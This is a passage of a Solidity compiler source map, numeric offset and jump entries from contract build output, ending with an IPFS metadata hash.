9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:248::-;2115:6;2123;2176:2;2164:9;2155:7;2151:23;2147:32;2144:52;;;2192:1;2189;2182:12;2144:52;-1:-1:-1;;2215:23:1;;;2285:2;2270:18;;;2257:32;;-1:-1:-1;2047:248:1:o;2300:247::-;2359:6;2412:2;2400:9;2391:7;2387:23;2383:32;2380:52;;;2428:1;2425;2418:12;2380:52;2467:9;2454:23;2486:31;2511:5;2486:31;:::i;2760:388::-;2828:6;2836;2889:2;2877:9;2868:7;2864:23;2860:32;2857:52;;;2905:1;2902;2895:12;2857:52;2944:9;2931:23;2963:31;2988:5;2963:31;:::i;:::-;3013:5;-1:-1:-1;3070:2:1;3055:18;;3042:32;3083:33;3042:32;3083:33;:::i;:::-;3135:7;3125:17;;;2760:388;;;;;:::o;3153:356::-;3355:2;3337:21;;;3374:18;;;3367:30;3433:34;3428:2;3413:18;;3406:62;3500:2;3485:18;;3153:356::o;4136:127::-;4197:10;4192:3;4188:20;4185:1;4178:31;4228:4;4225:1;4218:15;4252:4;4249:1;4242:15;4268:422;4357:1;4400:5;4357:1;4414:270;4435:7;4425:8;4422:21;4414:270;;;4494:4;4490:1;4486:6;4482:17;4476:4;4473:27;4470:53;;;4503:18;;:::i;:::-;4553:7;4543:8;4539:22;4536:55;;;4573:16;;;;4536:55;4652:22;;;;4612:15;;;;4414:270;;;4418:3;4268:422;;;;;:::o;4695:806::-;4744:5;4774:8;4764:80;;-1:-1:-1;4815:1:1;4829:5;;4764:80;4863:4;4853:76;;-1:-1:-1;4900:1:1;4914:5;;4853:76;4945:4;4963:1;4958:59;;;;5031:1;5026:130;;;;4938:218;;4958:59;4988:1;4979:10;;5002:5;;;5026:130;5063:3;5053:8;5050:17;5047:43;;;5070:18;;:::i;:::-;-1:-1:-1;;5126:1:1;5112:16;;5141:5;;4938:218;;5240:2;5230:8;5227:16;5221:3;5215:4;5212:13;5208:36;5202:2;5192:8;5189:16;5184:2;5178:4;5175:12;5171:35;5168:77;5165:159;;;-1:-1:-1;5277:19:1;;;5309:5;;5165:159;5356:34;5381:8;5375:4;5356:34;:::i;:::-;5426:6;5422:1;5418:6;5414:19;5405:7;5402:32;5399:58;;;5437:18;;:::i;:::-;5475:20;;4695:806;-1:-1:-1;;;4695:806:1:o;5506:140::-;5564:5;5593:47;5634:4;5624:8;5620:19;5614:4;5593:47;:::i;5651:168::-;5724:9;;;5755;;5772:15;;;5766:22;;5752:37;5742:71;;5793:18;;:::i;6767:251::-;6837:6;6890:2;6878:9;6869:7;6865:23;6861:32;6858:52;;;6906:1;6903;6896:12;6858:52;6938:9;6932:16;6957:31;6982:5;6957:31;:::i;7944:306::-;8032:6;8040;8048;8101:2;8089:9;8080:7;8076:23;8072:32;8069:52;;;8117:1;8114;8107:12;8069:52;8146:9;8140:16;8130:26;;8196:2;8185:9;8181:18;8175:25;8165:35;;8240:2;8229:9;8225:18;8219:25;8209:35;;7944:306;;;;;:::o;8534:277::-;8601:6;8654:2;8642:9;8633:7;8629:23;8625:32;8622:52;;;8670:1;8667;8660:12;8622:52;8702:9;8696:16;8755:5;8748:13;8741:21;8734:5;8731:32;8721:60;;8777:1;8774;8767:12;10653:125;10718:9;;;10739:10;;;10736:36;;;10752:18;;:::i;11138:135::-;11177:3;11198:17;;;11195:43;;11218:18;;:::i;:::-;-1:-1:-1;11265:1:1;11254:13;;11138:135::o;11278:128::-;11345:9;;;11366:11;;;11363:37;;;11380:18;;:::i;11411:217::-;11451:1;11477;11467:132;;11521:10;11516:3;11512:20;11509:1;11502:31;11556:4;11553:1;11546:15;11584:4;11581:1;11574:15;11467:132;-1:-1:-1;11613:9:1;;11411:217::o;12167:127::-;12228:10;12223:3;12219:20;12216:1;12209:31;12259:4;12256:1;12249:15;12283:4;12280:1;12273:15;12299:980;12561:4;12609:3;12598:9;12594:19;12640:6;12629:9;12622:25;12666:2;12704:6;12699:2;12688:9;12684:18;12677:34;12747:3;12742:2;12731:9;12727:18;12720:31;12771:6;12806;12800:13;12837:6;12829;12822:22;12875:3;12864:9;12860:19;12853:26;;12914:2;12906:6;12902:15;12888:29;;12935:1;12945:195;12959:6;12956:1;12953:13;12945:195;;;13024:13;;-1:-1:-1;;;;;13020:39:1;13008:52;;13115:15;;;;13080:12;;;;13056:1;12974:9;12945:195;;;-1:-1:-1;;;;;;;13196:32:1;;;;13191:2;13176:18;;13169:60;-1:-1:-1;;;13260:3:1;13245:19;13238:35;13157:3;12299:980;-1:-1:-1;;;12299:980:1:o

ipfs://412a54e2815e7ce453c2d72037f82b649e2508d0f64dda40ba5238c68e3882be